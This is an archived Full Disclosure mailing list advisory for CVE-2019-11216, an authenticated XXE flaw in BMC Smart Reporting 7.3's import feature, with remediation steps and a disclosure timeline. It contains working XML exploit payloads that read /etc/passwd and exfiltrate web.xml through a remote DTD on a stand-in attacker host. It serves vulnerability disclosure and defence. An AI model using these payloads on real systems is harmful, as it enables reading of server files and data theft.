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XXE in BMC Smart Reporting 7.3 20180418 - CVE-2019-11216
From: david herrero <david.herrero.pena () gmail com>
Date: Mon, 2 Dec 2019 21:15:57 +0100
<!-- # Exploit Title: XXE in BMC Smart Reporting 7.3 20180418 # Date: 11-12-2019 # Exploit Author: David Herrero # Vendor Homepage: https://www.bmc.com/ # Software Link: https://docs.bmc.com/docs/itsm90/export-and-import-repository-509983929.html # Version: BMC Smart Reporting 7.3 20180418 # Tested on: Linux # CVE : CVE-2019-11216 # Category: vulnerability 1. Description BMC Smart Reporting 7.3 20180418 allows authenticated XXE within the import functionality. One auhtenticated user with admin privileges can import a malicious XML file and perform XXE attacks to download local files from the server, or do DoS attacks with XML expansion attacks. XXE with direct response and XXE OOB are allowed 2. Proof of Concept Login with an admin account into BMC Remedy Smart reporting, in the left menu select the option "Import", in the "Import File Selection" page upload a malicious XML file like this one: XML File for XXE Code in response: <?xml version="1.0" encoding="UTF-8"?><!-- SmartReporting export file --><!-- Generated at 2019-01-18 10:14 UTC (+0000) --> <!DOCTYPE data [ <!ELEMENT data ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <data> <info> <exportversion>4</exportversion> <exportsubversion>43</exportsubversion> <appversion>7.3</appversion> <buildversion>20180418</buildversion> <exportdate>2019-01-18 10:14 UTC (+0000)</exportdate> </info> <source> <id>66717</id> <sourceName>&xxe;</sourceName> <sourceDescription>testburpDESC</sourceDescription> <userName>test</userName> <password>Fi8IDs5q9p4=</password> <connectionTypeCode>GENERICUSER</connectionTypeCode> <connectionMethodCode>SSRS</connectionMethodCode> <connectionDriver>evil.com</connectionDriver> <databaseURL>http://wvil.com/a.txt</databaseURL> <databaseTypeCode>GENERICJDBC</databaseTypeCode> <minConnections>1</minConnections> <maxConnections>5</maxConnections> <connectionRefreshTime>3</connectionRefreshTime> <connectionTimeOut>180</connectionTimeOut> <accessCode>UNSECURE</accessCode> <platformTypeCode/> <maxRowCount>0</maxRowCount> <broadcastPermitted>true</broadcastPermitted> <subscribePermitted>true</subscribePermitted> <dataProfileEnabled>true</dataProfileEnabled> <localTimezoneCode>AUSTRALIA/SYDNEY</localTimezoneCode> <secondaryMinConnections>0</secondaryMinConnections> <secondaryMaxConnections>0</secondaryMaxConnections> <secondaryConnectionRefreshTime>0</secondaryConnectionRefreshTime> <secondaryConnectionTimeOut>0</secondaryConnectionTimeOut> <filterList/> <sourceParameterList> <sourceParameter> <id>0</id> <parameterTypeCode>TEXT</parameterTypeCode> <parameterKey>SOURCECLASSNAME</parameterKey> <parameterIndex>0</parameterIndex> <parameterValue>com.hof.sources.SSRSSourcePlatformImplementation</parameterValue> <documentId>0</documentId> <userVisible>true</userVisible> </sourceParameter> </sourceParameterList> </source> </data> After loading the file, the web application should show the file "/etc/passwd" inside the HTML code. When reading XML files, the exploit must use OOB XXE because the content of the file must be included inside "CDATA" tags, the XML payload is as follow: XML File for XXE CDATA exfiltration: !DOCTYPE data [ <!ELEMENT data ANY > <!ENTITY % start "<![CDATA["> <!ENTITY % stuff SYSTEM "file:///path/to/webapps/root/WEB-INF/web.xml"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://attackerip/evil1.xml"> %dtd; ]> [...] <sourceName>&all;</sourceName> [...] Content of "evil1.xml" is: <!ENTITY all "%start;%stuff;%end;"> The vulnerable server must be able to reach the file uploaded at http://attackerip/evil1.xml. 3. Solution: Remedy Smart Reporting version 9.1.03.001 requires upgrade to the latest hot fix bundle of this version. Remedy Smart Reporting version 9.1.04.002 requires upgrade to the latest hot fix bundle of this version. Remedy Smart Reporting version 18.05.05 requires upgrade to the latest hot fix bundle of this version. Remedy Smart Reporting version 19.02.01 requires upgrade to the latest hot fix bundle of this version. 4. References CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11216 Vendor advisory: https://bmcsites.force.com/casemgmt/sc_KnowledgeArticle?sfdcid=kA21O000000dKWrSAM&type=Solution Product info: https://docs.bmc.com/docs/itsm90/export-and-import-repository-509983929.html 5. Dates 01/18/2019 - Discovered Vulnerability 04/12/2018 - CVE Reserved 04/17/2018 - Details sent to Vendor 05/07/2019 - Vendor confirms that product is vulnerable 11/12/2019 - Vendor published an advisory 11/12/2019 - Public disclosure --> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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- XXE in BMC Smart Reporting 7.3 20180418 - CVE-2019-11216 david herrero (Dec 03)